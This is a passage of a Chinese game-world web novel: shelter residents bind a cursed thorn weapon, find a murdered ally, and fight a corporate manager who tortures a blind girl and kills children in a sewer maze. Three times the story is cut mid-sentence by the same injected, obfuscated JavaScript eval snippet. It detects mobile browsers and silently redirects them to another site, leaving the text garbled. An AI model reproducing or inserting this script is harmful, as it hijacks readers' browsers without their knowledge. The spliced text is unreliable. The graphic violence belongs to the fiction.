“不是为这个。”穴鼠莫名其妙地说了这样一句话,“你不懂。我现在记起来一些事情。”
“什么事情。”
“我知道我为什么会这么爱你了。”穴鼠回答道。
乌修平错愕下,还以为穴鼠又要重复那一套“一见钟情”理论。穴鼠却罕见地没有继续说下去,他情绪低落,说道:“我们在很久很久之前见过。只是那时候你不知道而已。”
“很久很久是多久?”
“你还没出生之前。”穴鼠回答道:“按照年龄来算,我比你大六岁。”
这还是穴鼠第一次谈起过去的事情。乌修平以前从没听过穴鼠这么聊起过去,他只当穴鼠不爱聊过去。直至有次与沈曙雀闲聊,被提醒才领悟出各种门道。
不是不爱聊。
穴鼠更像是一个没有过去的人。
如今,反而真像是曙雀猜测那番:失忆之人重新找回自己的记忆……什么狗血桥段。乌修平不想问什么我出生之前发生了什么,他自己也没有多大兴趣去追究父母是谁,为什么要遗弃自己。
他对自己最大的兴趣是“痛苦与疗愈之神的诅咒”。
他想通过自己,解开平叔身上“痛苦之匣”的诅咒。
“我还没出生前……那也太久了。”乌修平道:“所以,你为什么爱我?”
“因为你是我的所有物。”穴鼠道:“真的是这个理由。我没有必要在你身上撒谎。我只是像爱护一样物品去爱你,我不希望我的东西被别人使用。”
就像是牙刷,一旦被其他人拿去使用,就算没有太多损耗,主人家也会毫不犹豫地抛弃它。
物品之爱。
乌修平了然,没有什么生气,反而觉得这个比喻恰如他与穴鼠之间的关系。
“挺好的。”乌修平道:“我不会给其他人用的,你安心好了。”
穴鼠依旧是忧心愁愁,在乌修平脖颈上轻轻咬出牙印——这次,他没有咬出血,只是一个印子,深深地刻在乌修平的脖颈、锁骨、咽喉上。
刻了一圈。
像个狗链。
沈曙雀回去看了一眼,马上翻出高领毛衣要乌修平换上。也不管这件毛衣对乌修平来说是不是太短,她强调这圈牙印不遮住实在难以启齿。
“什么宣誓主权行为。”沈曙雀吐槽几句,拆开包装盒,取出那件武器:通体纯白,长一米,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13529206|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
宽五厘,厚五厘,活像个方形白管,无属性,无职业限制,不可成长。
适用等级10级以上,20级以下。
沈曙雀研究半天,没看出点名堂。她将这武器递给乌修平,自己去读贴着的一条适用说明便签。
“没有属性加成,很普通呀。”沈曙雀轻声念出这武器的名字,“【变化法】。不限制任何职业,绑定武器后,会随着使用者潜能变化出最适合的形态……被评为,20级以下,最大程度发挥出使用者特性的武器……通常认为,该武器可以检测出使用者的未来升级路线,因此备受有钱人喜欢。若非不可成长,等级偏低,其武器潜力不可估量。”
乌修平将武器绑到自己的固定栏中,几乎是瞬间,他与沈曙雀感到一阵渗人的风从手中卷起,黑雾从气态转变为固态,方形白管闪烁着诡谲的紫光。下一秒,无数荆棘一般的小刺突出,乌修平松开手,【变化法】悬浮在半空,光芒中完成对乌修平特性的描摹。
那是一把没有把柄,看不出刀刃的双刃刀,通体漆黑,暗纹编织出荆棘的图案,每一道图形下都是细且锋利的血槽。乌修平伸出手握住其中一处,锋利的长刺洞穿他的手掌,从中长出的黑紫细长荆棘,将他与这把武器紧紧缠绕在一起。
【痛苦与疗愈之神向您投来惊讶的目光。时隔二十余年,祂没想到您已经长这么大了。】
乌修平呆住了。
他将消息展示给沈曙雀,沈曙雀则见怪不怪地展示自己收到的消息。
【疾病与瘟疫之神鼓励您杀掉身边的丑八怪,并表示,祂很想看您的非凡潜力。】
“别管这些神经病。”沈曙雀做出精准评价,“我以前出门打架,天天都收到这些神的注视。他们除了给我们下诅咒、看乐子,还能做什么。”
如此一来,乌修平那种紧张的情绪也消散了。
靠神真不如靠他们自己。
他们凑在一起查看【变化法】衍生出的武器形态与属性。
【变化法.荆棘刃.痛苦与疗愈之神(诅咒)专属武器】(20级):你的存在意味着无穷的痛苦,无论是对你自己,还是对你所爱之人。
你即为痛苦本身。
【形态自带技能1:双倍疼痛。(来源自绑定者本身)
当绑定者受到确切疼痛,可双倍返还给敌手。该技能产生效果随着敌手等级变动,敌手越强,效果越弱】
【形态自带技能2:叠加诅咒(来源自绑定者本身)
可叠加与绑定者同一级别的诅咒。须知,诅咒之间会互相覆盖,只有最强的诅咒才可以共存。】
【形态自带技能3:痛苦之匣((来源自绑定者本身)
武器受到不可逆的损伤时,损耗将转化为点数反馈给绑定者。】
沈曙雀看呆了。她表示,看在这样强有力武器的份上,穴鼠把乌修平睡了也不妨碍穴鼠是个顶顶好的老板。
“还有一个很关键的信息。”沈曙雀道:“如果【变化法】是通过检测绑定者属性进行变化。啊呜你肯定是‘痛苦之匣’。”
也就是说。
乌修平和平安生是一样的。
34.第三十四章
第三十四章
“返点数给我自己吗?”乌修平研究新武器。经过刚刚一番测试,他和沈曙雀不约而同选取武器中的“荆棘刃”作为其名字。他站在原地,挥舞、打击,荆棘刃都没有出发任何一个技能。
乌修平担忧极了,“我感觉技能三挺奇怪的。”
“痛苦之匣?”沈曙雀反问道:“因为平叔?”
乌修平说不上来是什么感觉。他和沈曙雀收起武器,聊聊穴鼠奇怪的表现,聊平叔和孩子们的高烧,聊童姥姥和明修女最近正在做的事情。
“修女把旧的治疗权杖拿出来,固定成假肢的样子。”
“挺好的。”沈曙雀道:“这样平叔也算有武器加持了。姥姥最近也在忙……之前储存的番薯和土豆都放烂了。”
“我出门再找点。”乌修平包揽下来。到此刻,他终于有点生活逐渐变好的实质感:并不是物质上有多么丰富,而是他身边的关系都呈现出种稳定的状态,未知危险带来的阴霾正逐步散去。
乌修平道:“阿雀。你要什么?”
“我没要什么。”沈曙雀还要说什么,想想又算了。她自告奋勇道:“算了,我和你一起上去。我们先找修女和姥姥。”
他们顶开隧道口的遮掩物,手脚并用爬出来,往前走十来步看到一具匍在地上的尸体。乌修平和沈曙雀说不上是恐惧还是常态,他们绕着尸体走,眼角观察尸体身上是否有伤口,揣测这是喝死过去的醉汉还是死于仇杀的职业者。
从体格上看,这无疑是一位壮年男人,穿着略微旧的黑色毛呢套装,叫人觉得又眼熟又陌生——好像每一个中年男人都有几件类似的衣服,穿起来都是类似的效果——而他身上少数能辨别身份的象征被巨大的恐惧压过。
乌修平和沈曙雀正对此感到奇怪。这具尸体脸朝下趴在烂泥中,布料吸满水压出肩胛骨的形状,那种不平等的跷跷板高低状,配合他竭力向前的双臂,一高一低的肘部与手腕。
他在逃跑什么?乌修平和沈曙雀莫名地察觉出惊惧的味道,齐齐放慢脚步,逐渐地,逐渐地停下脚步。
他们不约而同往回走,站在了尸体两侧,一人一边向上拔着。尸体十根手指,连带十根脚指头仿佛晒干了根茎的草,乌修平和沈曙雀第一下都没有成功,他们低声数着一二三,约三次,才拖泥带水将尸体的脸翻出来。
周曹。
平叔的队友,那个请他们去咖啡馆喝咖啡的周曹。
死了。
*
昏暗的下水道,伸手不见五指。燕语却能看到一些可疑的人形在臭水中悬浮。她之前从没有杀过人,再加上不会说话,也不多嘴询问那是做衣服用的人台模特,还是泡开的尸体。
反而仁爱院中一些脑子正常的孩子,自发地告知叶生光水里有什么,几个把持伸缩杆,将那些杂物推搡到不同水道,避免造成拥堵。浩浩荡荡的臭水便在孩子们推搡开杂物的时间,发出憋久了的咆哮,冲刺向前。
叶生光捏着一只记号笔,娴熟地给每一个孩子身上绘制上咒文。她的等级并不高,一次所制成的咒文最多维持三天,故而,她也借此机会每三点清点一次孩子们的数量。
燕语站在一边,能走得是维持孩子们的队伍,抱来生病的孩子。偶尔她会扶住叶生光的手,将其牵到至“适合绘制的地方”。
她们一个看不见,一个说不出话,配合默契无比。
如果说乌修平和沈曙雀常年叽叽喳喳,用彼此言语温暖彼此。叶生光和燕语便尴尬许多,她们的眼睛、嘴唇都变成彼此的巴比伦。极少数允许亲密的时刻,才能用手指在手掌上连猜带画,细语几句。
“最后一个。”叶生光勾下最后一笔,黑暗中数过全部的呼吸声,“燕语姐,你真的再也不回去吗?”
无人回答。
叶生光继续说道:“不回去也挺好。要是被发现你偷偷帮我们……”她越说越小声,有些忧虑地闭上嘴。不得不说,这也从一开始达到了她内心有些卑劣的目的,比起让燕语继续工作为她们传来情报,她情愿毁掉燕语的工作。
死掉一个表少爷能拖延多久呢?能造成多大的动静呢?他们带着老弱病残又能在地下生存多久呢?叶生光再聪明,信息不足始终是致命缺陷。她给出的计划都是她认知中最有性价比的。
“我觉醒职业时,姥姥和修女便把地道的事情告诉我。当时,姥姥提议要在地下做一些咒文防护阵法。”叶生光牵着燕语的手,转而关心另外一件事情。她道:“燕语姐,你将地图背得怎么样了?有些地道孩子们会去布置陷阱。你千万别走错。”
燕语用手指轻轻点了几下,算是答应的意思。
叶生光还想多说几句,却不知道要说什么,只能松松握着燕语的手。地下没有什么好做的,有时候不是人不想忙,而是人忙不起来。
忙不起来,是一件好事。
叶生光竖起耳朵,水声中,她听到穹顶传来一些粗重的呼吸声。燕语的手轻微抽搐。孩子们蜷缩在各个地道口,咬着手指或衣物。声音细碎、密集、好似千万虫蚁爬行,叶生光的耳膜一阵麻痒。
她站起来。
燕语发出“啊啊”惊惧地沙哑的呐喊。这是她嗓音的极限。她原本安静垂着的手掌像受到狂风打击的叶子,上下左右甩动起来。叶生光用力抓着,竭力去猜面前发生了什么,是什么人来到面前。
可她看不见。
“我知道你是谁。”她索性将燕语护在身后,向前一步。物资的匮乏下,仁爱院众人已经不打手电筒等照明用具,她们要把物资用在最要紧的时刻。童姥姥强硬训练孩子们摸黑逃跑的能力。但在此刻,整个漆黑的隧道亮若明堂!穹顶、地面、枯水道每一处砖块都散发出强烈的属于咒文师的印记。孩子们钻入隧道,狭窄的砖瓦口逐渐被咒文的光芒淹没,随着一阵极弱的波动,掩盖上砖块与水泥的印记,难分端倪。
来人平静地看着这一幕。
他撩开袖子,露出机械表的表牌。
现在是晚上9点17分。
“哦?”他盖住手表,向前一步,“我是谁?”
咒文与男人的步伐冲撞在一起,砖块先是猛地下压,随后翘起四角,波浪似地掀起,砖块宛若泡沫狠狠拍打在男人身上,没有给那身湛蓝西装添加半粒尘土。
“成平集团王德经理。”叶生光摊开手。她右手多出一本散发出白色光芒的薄页本,“我想,您的下属一定喊过您‘王缺德’。”
男人忍不住大笑起来,“是这样的。”他连续喊了好几声,点上香烟,不抽,徒用烟味熏散空气中的恶臭和过分潮湿的水汽。
“既然知道我是谁。你该把我的女仆还给我了吧。”王德经理微笑道:“乌修平和平安生在哪里?”
“您的要求有些太过分了。”
“小朋友,你这么拖延,也挺过分的。”王德经理毫不在意地说道:“你是指望谁来救你吗?15级的刺客?专修防御的尼姑?还是治疗系的修女?哦~你不会觉得我们会顾忌整个城市的下水道。不会在这里动手吧。”
叶生光从没有高看这群人的下限。
她松开一直牵着燕语的手,轻轻将女人推开。地面砖石与其咒文竖起一道完全封闭的墙,燕语似乎要说什么,挣扎地向前奔跑,一头砸在砖瓦墙上。她着急地拍打墙壁,贴在墙上,什么都听不到。
叶生光将自己与燕语完全隔离开。
因为她的实力做不到保全两个人。
她翻开手中的咒文书,薄薄三页纸,记着五个技能。其中三个技能是叶生光转职升级自动提升获得的,另外两个分别是她学生时代的奖学金和明修女童姥姥对她的赞助。
咒文师技能.削弱。
咒文师技能.叠加。
咒文师技能.组合。
咒文本身并不具备任何攻击力。目前主流的咒文也倾向于走辅助路线。叶生光觉不会扬短避长,从所有技能装配上看,她也必然是辅助类职业选手——可她这么多年毫无长进,难道真的是因为天赋耗尽吗?
纸张飞舞,叶生光空荡荡的双瞳逐渐被技能所产生的光芒覆盖。王德经理慢吞吞等待着技能生效,手中的烟烧到一半。他丢下烟头,双手插兜,带着丝若有若无的笑容。
“真烦人啊,臭丫头片子。”
他冲到叶生光面前,鞭腿上前。
叶生光毫无反抗之力被抽打到地上,手中的咒文书被打散。她尚未反应过来要如何反击,男人点起一根新的香烟,抬脚踹向她的肚子、脸、大腿,最开始是哪里方便就冲着哪里踢,后来变成哪里能发出声音就朝着哪里踢。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13559884|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个低等级辅助职业,都不需要使用技能,纯粹的属于男人的暴力就可以让其屈服。
更别提叶生光是个女孩子。
她还是个瞎子。
“我还以为你们有一个团队。”王德经理烟点到差不多了。他撩起袖口,那枚机械表盘表面已产生蜘蛛裂纹。它像寻找到猎物的狼蛛,深入女孩的头发,状若五指的多足收紧,将那一头黑发缠绕三四遍,提起。
叶生光两个眼眶瘪下来,额头上的鲜血涓涓灌入眼眶,又流淌出来。她嘴唇和面颊完全肿起来。王德经理则像是拳击课热身结束,抖抖西装里的细汗,撕开叶生光的衣领,将烟头戳上去。
“就这。”王德经理嘲笑道:“我还以为有什么大招。”
叶生光嘴唇颤动,她现在任何动作都会引起鲜血喷涌。零零碎碎的血块与黑色的凝团掉在地上,她的手指努力伸长,慢慢地抵住地面,划出一个角度。
王德经理抽出短刀,砍掉她画咒文的那根手指。
“解开。”他命令道:“现在解开,我就带走两个人,不,三个人——如果你不解开,你们这里所有人都得死。”
叶生光被抓起来。她感觉骨骼正在散架,为保持为数不多的清醒意识,她强迫自己听男人手腕上钟表的声音,滴滴哒哒的声音甚至跟不上她身体往外流血的速度。
咒文。
咒文还差一点。
叶生光活动手指,她已经尽量小心,可她今年只有十九岁,刚从高中毕业没有多久,连太过血腥的副本都没有进入几次。她听到自己手上传来“嘟”的脆响,接着是一秒的毫无直觉,疼痛山崩似地涌来,叶生光像砧板上的鱼,竭力挣扎,她那些不成调的哀嚎,让王德经理皱眉。
里面没有他想要的信息,他的拷问似乎失败了。
“哎。你要说点有用的。”王德经理恨铁不成钢道。
不远处,被踢飞的咒文书无风自动。它旋转着飞行到叶生光面前,一直隐藏在书页之间的进度条骤然出现,最后一格在王德经理面前加载完成。
“什么……该死!”王德经理不可置信地看着这一幕。
就在他周围,天罗地网的咒文再次闪烁,这一次所有咒文终于呈现出规律的顺序。他们自动旋转起来,每一个咒文都成为跳舞的小人,叶生光连同那把钉住她的匕首急速被墙砖吞没,融合在封顶的墙体中。
技能组合技.大型咒文阵法.迷宫。
“该死!这群穷光蛋哪里的钱买这种大型组合技?!”王德经理没想到会在这里遇到这种事情。不过没关系,除了他自己,他还派了三支小队下来,叫那些人把仁爱院所有活着的东西都杀了。王德经理如此想着,命令下去。
“除了平安生,其余人都杀了。”
“那个女仆呢。”
“也杀了。”王德经理道:“以完成集团任务为第一标准。不管男女老少,全部杀掉。”
表少爷之死令他们心悸不已。若只是一个10级以下的未转职者之死,他们自然不会这么担忧。真正让集团上下停摆诸多天,没有对仁爱院一众人下手,还是因为保镖和集团刺客的惨状。
那不是15级的乌修平能做到的成果。
集团几个掌权者怀疑是乌修平背后的推荐人穴鼠出手。
毕竟是89级的世界级强者。到这个级别,已经无所谓对方究竟是什么职业,有什么底牌,背后是否有什么势力。穴鼠一个人就是最强的势力,他想要碾碎本地的成平集团和玩一样。
除非,他们成平集团搬出大少爷。
王德经理想起大少爷又是一番愁容。他不止一次恳请老板,面对少爷姿态可以更低些,要做足父亲的仁慈:他们毕竟是血缘至亲,哪怕少爷跟了大集团的母亲,但老板再怎么说都是少爷的亲生父亲!
“你不理解。”老板十分惆怅,揉着头,“我就是为了他,才回到这里,创办成平集团……不然,你说这破地方要什么没什么,我来做什么?”
老板作为少爷的父亲,是为少爷寻找一样他丢失很久的东西而来。
王德经理所知就是那么多。数年来,他也尝试向上谄媚,多次企图讨好少爷,均失败——“痛苦之匣”反而是他们所知,最有可能让少爷开心的玩意儿。
平安生,是他们目前最好的献媚工具。
35.第三十五章
第三十五章
雨依旧下个不停。乌修平和沈曙雀将周曹的尸体平放在地上。这个时代没有警察,也没有法医,自然不会有人报警,除了受害者的亲属重金聘请赏金猎人外,只有亲自上阵,调查真相,血刃仇敌。
乌修平不知道周曹是否还有家属,也不知道如何处理这具令人感到不安的尸体。他用手搓搓胳膊,想起刚刚还摸过周曹的尸首,又放下。
沈曙雀反而觉得奇怪。她道:“他来找平叔?”片刻,她有些懊悔,敲脑袋抱怨道:“昨天我们都没注意他的职业。”
乌修平通常不说话。他仰头看向天空,雨依旧在下,只是这一次,他感觉到雨中,身体格外冷。
“为什么要杀周曹?”
沈曙雀猜测道:“集团灭口吧。”
如果从燕语姐回来告诉他们周曹辞职开始算,今天正好是第七天。周曹死了。市中心树立起的广告牌露出一个边角,每秒燃烧数十万经费的广告视频正在播放,昏暗的天光下,广告霓虹随着水雾晕开变幻不停的光芒。
“他什么也没有做。就这样死了。”
“没办法。不明不白地死掉是常态。”沈曙雀说任何话都会抱怨一句,这次她说,“有时候知道自己为什么要死也挺好的。”他们没有当场埋葬周曹,而是迅速折返回去,重新进入地下。
地下充斥着一股鲜血的味道。
乌修平跑在前,沈曙雀跟在后。他们先看到一堵到顶的墙,墙上厚重笔直的血迹,足足有一人腰粗,垂落到墙角处才弯曲成坨,像长纱堆成一个圈。
叶生光就在这个圈里,全靠手上一把匕首堪堪维持住上半身。乌修平和沈曙雀第一眼都不敢相认,还是靠着衣物和那双空荡荡的眼眶确认出身份,两个人登时慌张起来。
“叶子。”
乌修平去探查气息。沈曙雀掏出药水。他们两搀扶着,努力将低劣药水灌进去点,至少润开叶生光满是血痂的嘴唇。少女的嘴唇,鱼一般吐出串血沫,接着是上半身猛烈咳嗽,与下半身撕裂开来,一方散架般的晃动,一方失去知觉般地死掉。她努力抬起舌头,唇之间的缝隙再也不动,全靠气流组成语句。
乌修平赶快凑下身。沈曙雀也观察着唇珠上的颤动,两人断断续续拼凑出情况:
成平集团的经理派人来抓燕语姐和平安生。叶生光已经用咒文将四周全部封住,整个下水道都变成迷宫,孩子们都藏起来了。
仁爱院所有人都背过地图。
但这不意味着“安全”。
乌修平作为男子,体格偏大,地图中一些只能给小孩和瘦弱女子走的路线,对他来说完全行不通——这也意味着,他进入迷宫所选择的道路与王经理选择的道路,有很高的重合性。
“阿雀。”乌修平做出决断,他要将叶生光托给沈曙雀照顾。
沈曙雀完全不理这个情义,她道:“我和你一起进去。”
“不可以。你伤还没完全好。你留下照顾叶子。”
和乌修平的体质不同,沈曙雀疗愈的速度要慢许多,打斗起来也无法屏蔽疼痛。可让沈曙雀留下,她自己又不愿意,伸出手,抓住乌修平握着的荆棘刃,任由那锋利的长刺划破皮肤,嘴角一圈肌肉轻轻抽搐,硬挺着没发出半声不适。
“我和你一起进去。”
“那叶子——”
“我怕感染她。”沈曙雀道:“万一发生战斗,我无法保证鲜血飞到哪里。”
叶生光那双空荡荡的眼眶对着穹顶。随着沈曙雀话语,她身体受冷似地哆嗦起来,发出人类无法分辨的模糊呼声,鲜血一块一块吐出来,撒发出恶臭, “我……燕语姐……”
我没有关系。
燕语姐还在里面。
职业者的血条远比普通人要厚。在救一个潜力非凡的咒文师与一个普通人之间,人无论是服从于利益,还是受困于感情,都能做出选择。
乌修平很讨厌这种选择。他撕开自己内搭的短袖下摆,拽着沈曙雀的手把伤口包扎好,再脱掉最外层的运动服裹住叶生光,试图保留住女孩身上不多的温度。
“我是唯一的战斗职业。”乌修平道:“阿雀,你也说过了。自己的伤口还没好。”
沈曙雀道:“你把我留下,就要做好失去两个人的准备。”
乌修平屏住呼吸,偶尔,他也会觉得沈曙雀身上这种超乎常人的残忍令人窒息。偏偏这是沈曙雀最果断最具备魅力的一点,乌修平由此肯定沈曙雀会成为强者,而非他这样犹豫不前,优柔寡断的家伙。
“我不想……”
“【回复】!”
数个光点从他们二人来的路上飘荡来,钻入叶生光体内。尖锐到破嗓的女声里,乌修平持平荆棘刃,直至看见黑暗中飘荡着的黑白色修女裙。
明修女抱着一堆半报废的治疗系装备,匆匆跑过来。她出去给平安生寻找义肢的材料,提着的尿素袋里还装了土豆、玉米等耐吃的粗粮,以及一些临近过期的打折药物——她出门也是为了给孩子们寻找食物与药物。乌修平还没有解释什么,明修女的袋子掉在地上,扑上前,第一下推开了沈曙雀。
沈曙雀当即摔在一边。她看着明修女那下意识保护叶生光不被鲜血污染的样子,治疗系技能带来的光芒明明暗暗,怎么也照不亮她的脸。
乌修平刚要过去的手被明修女拽住。他被迫看向养育了自己的长辈,看向那张因心疼叶生光趋于崩溃的脸。
“到底发生了什么。修平。修平。”明修女迫切寻找一个明确的答案,“阿童、安生,还有燕语,孩子们都在里面。敌人有多少?你现在能进去吗?”
“修女。冷静。我马上就进去。”
乌修平竭力安抚明修女。他身上剩下件不合体的老头背心,黄白色的旧布料被血泡得发黑。他将叶生光交给明修女,笨拙安慰道:“修女,我马上进去。不要担心。”
明修女接近崩溃,在崩溃的过程中,她依旧维持着技能,不断治疗着叶生光。她没有看向沈曙雀,目光从始至终都追随着仁爱院唯一的战斗力,眼泪一颗一颗掉落在叶生光血迹斑斑的脸上,呜咽到说不出任何话来。
“走吧。”沈曙雀从地上站起来。她绷紧手臂上的布条,催促乌修平,“啊呜。”
“嗯。”
沈曙雀走得又快又急,一刻也不想继续面对明修女。理智告诉她,修女这样做是因她曾造成一次悲剧。可感性让沈曙雀无法接受这样的“下意识反应”,她很想故作轻松地说点什么,但此时此刻不适合开玩笑。
“阿雀。”
“干嘛。”
“我们一起把那些混账杀光吧。”乌修平追上去,握住沈曙雀的手,安慰女孩,“修女刚刚太担心叶子了。”
“她们不喜欢我。”沈曙雀喃喃,像是要消解掉这种不愉快的疙瘩般。她报复性地握紧了乌修平的手,同男孩十指相扣,“我知道,我理解,毕竟我是受到诅咒的人。啊呜,我要把那些人都杀了,那些混账东西。”
【荆棘刃技能二:诅咒叠加】
瘟疫与疾病之神的鲜血融入到痛苦与疗愈之神的伤疤上。两个人的游戏面板同时闪烁着光芒,同样的效果出现在他们的面前,这是第一次,他们两对自己的诅咒有了清晰的认知。
他们叠加在一起的技能效果,让他们几乎成为彼此的半身。
“有声音。”
乌修平低声提醒着,抬头向上看,迷宫由各种砖块组成,扭曲的钢铁水管、水泥干涸掉的痕迹作为辅料,中间的缝隙再夹杂着苔藓和蕨类。少数猫一样的脚步声在墙壁上下左右,挪动着,发出蛄蝼刨土的声音。
实际上,这是孩子们再各处逃跑的声音。他们更小,身材更纤细,哪怕大部分具有不同程度的残疾。他们在墙体内发出细碎的声音,恰恰是一件彰显他们还活着的好事。
乌修平和沈曙雀更迫切地赶路,要将迷宫里那个该死
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13575232|139400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的敌人绞杀。他们更向前一些,声音越发地安静下来。迷宫里没有任何光芒,越往深处走,水面这折射出的微弱的光也消失了,他们两齐齐张开手,撑住两侧墙壁,摸索着向前,任何风吹草动,都叫彼此身体紧绷。
“不用太担心。”乌修平低声安慰道:“我们有了新武器。看,我们两彼此站在一起,有什么可怕的。”
沈曙雀深呼吸好几口。空气中没有预料中的血腥味,好几处黑洞洞的狭窄口子连她也钻不进来,里面凉飕飕灌着臭气。沈曙雀再吸两口,就要吐出来了。她道:“别说了。我还要你担心吗?”
“我才不要你担心。”沈曙雀道:“姥姥还在里面,对吗?”
燕语姐如果能及时找到童姥姥,或许还有活命的机会。
“是的。”
他们两继续往前,墙壁、天花板,越来越狭窄。有好几条路,两人弯着腰行径过去,甚至要匍匐一小段,才重回正常道路的长度。也不知道摸黑走了多久,乌修平一脚踩在什么柔软的东西上。
他内心惊了下,却没有马上抬起来,咬着嘴唇,鞋底慢慢放松力气,像吹起一片羽毛般,翘起鞋头,抬起鞋面,鞋跟呈轴心转到另外一面,确定脚下的东西没有任何反应,也没有任何意外后,他与沈曙雀第一次在这漆黑的迷宫甬道中点起手电筒。
手指大小的便捷手电筒,拔出道白光,先砍中一只小孩的胳膊,胳膊肉上印着半个鞋印。灯光向上,二人看到墙面大面的鲜血,地上是湿哒哒乱糟糟的手印与挪动痕迹,七八个没来及跑掉的孩子,七倒八歪地躺在前方道路上,眼睛睁得大大的。
一串属于成年人的脚印,从他们身边过去,沉入到黑暗中。
“不止一个人。”沈曙雀掰过手电筒。在那串脚印左右两侧,不过半米的范围内,密密麻麻长着不同花印的大脚。入侵者没有浪费时间在智障儿和残疾儿身上,解决孩子们后直接离开,寻找这个迷宫中对他们真正有威胁的存在。
……
“【金钟罩】!”童姥姥沉闷的声音在黑暗中传出。接连的魔力球与篆刻着佛法的金光罩冲撞在一起,大片烟雾后,金光重现。童姥姥摘下手腕上的念珠,随着每一次转动珠子,金光罩上的光芒都呈现出不同的强弱。
在她身后,是还没有来得及跑掉的更小的孩子们。大部分是高烧不退,或者发病没有能力跑掉的五岁以下弱童。
“老虔婆。”穿着雇佣兵装备的法师蓝耗殆尽,气急了的他摘下背着的炮筒,对准童姥姥,“别逼老子用这个。”
童姥姥面无表情,灰色的尼姑服无风自动。强大的保护罩随着她的念珠速度,开始扩张,就像一把强有力的大伞硬生生将入侵者全部顶到墙上。狭窄的迷宫空间中,所有入侵者都被迫与墙面贴近,砖瓦空间内,他们的骨骼发出吱呀吱呀的声音。
童姥姥加大力度,随着她指尖的运转。每一具男人的□□都化为擀面杖下的面团,变成扁平的形状,骨头与肉泥从衣服下渗透出来——成平集团这次没有找非常厉害的职业者作为扫荡者,除了王德经理外,其余雇佣小队平均等级不过20级。
童姥姥的等级足够碾压这些人。
但,这也不是长久之举。
“都待着别动。”童姥姥清点孩子数量,她身边因流感生病发烧的孩子就有十七个。清点数量后,她彻底放弃带着孩子逃出生天的可能性,金光罩从上至下盖住她与这十七个孩子。她的脸色凝重异常,“没有姥姥的许可,不准乱动,不准睁开眼。知道了吗?”
孩子们胡乱点头,声音哼哼,有几个恐惧地哭泣起来。
随着金光罩的离开,肉泥摔在地上。它们缓慢地蠕动起来,恰如乌修平和沈曙雀曾经谈起的傀儡:少部分摇摇晃晃站起来,组合成一个正方形站队。
正方形队伍后方,从迷宫的拐角处飘荡出一缕白色的烟雾。
王德经理翻看手机里童姥姥的相关情报,走出来。
36.第三十五章
第三十五章
“好久不见。”王德经理打招呼道。
迎接他的是两道金光。童姥姥的脸隐藏在光芒后,目光坚毅。
“我们可没什么好见的。”
“别这样。”王德经理任由烟雾肆虐,说道:“和其他人比起来,我们好歹算老相识。”
王德经理认识童姥姥,他比童姥姥年轻,却自认为在心理上比这些女人们成熟太多。
他认为一个女人穷困潦倒,除了没眼光外就是她太有道德:在时代,女性如果不岔开腿赚钱,那就是她自己的错。
是她让自己沦落到这种境界的。
王德经理自然地蔑视旧时代一切遵循规矩的女人,但同时,他又很难不注意到那些遵守规矩的处女——他就是这样看上了燕语。那个女孩出现在他夫人的面前时,他坐直身体,如同今日这样,手指夹着烟,微微低垂。他注视着燕语的体态,偏瘦却不是太瘦,两颊丰盈有肉,手脚安分地垂落着,眼睛从不乱看,令人想到旧宗教里唱诵的修女,虔诚拜神的僧尼——在这个时代,这些都即将消失了。
即将消失,意味着“稀有”。
在因“痛苦之匣”产生交集之前,他傲慢地拜访过仁爱院,被童姥姥用扫把扫地出门,被扫把按在地上左右连抽三四个巴掌。
这就是他口中的“见过”。
童姥姥警惕地握住自己的念珠。王德经理向左,她的目光也跟着向左,王德经理向右,她也跟着向右。在他们之中始终保持着一个安全的长度,诸多肉碎便是贸然战斗的前车之鉴。
“仁爱院只救助孩子妇女。”王德经理忽然提起道:“平安生可不是什么需要救助的对象。”
童姥姥维持着金光罩。她没有回答王德经理提出的质疑,也没有质疑他的质疑。
她提出自己诉求。
“带着你的人滚出去!”
王德经理毫无动静。他观察四周,几乎是可怕地清点着童姥姥背后那些孩子数量,他道:“真可怜。要为了一个废人牺牲掉生命。童真,孩子们可撑不到那个时候。”
童姥姥盯着他看。
王德经理继续丢出自己的条件,“仁爱院差不多80多个孩子,只要你把平安生还给我们,我们马上给这80多个孩子安排治疗……现在是游戏化时代,什么残疾、什么先天不足,只要材料够都可以解决。”
这是一句实话。
同时,又是一句废话。
“平安生是我们的人。”王德经理道:“他已经被卖给成平集团了。老尼姑,我们还能给你们建大楼。你知道这座城市最大的建筑商就是我们集团,我保证给你盖个最敞亮的大房子。”
童姥姥向前一步。关于房子的尾音还没有落下,双方同一时间出招,光芒与招式带来的波动在狭窄的空间内碰撞。金光罩上不断传来叮当的声音,每一次撞击都让金光罩边缘发生位移。发烧的孩子们蜷缩成一团,随着金戈声身体微微颤抖,发出虚弱的啜泣声。
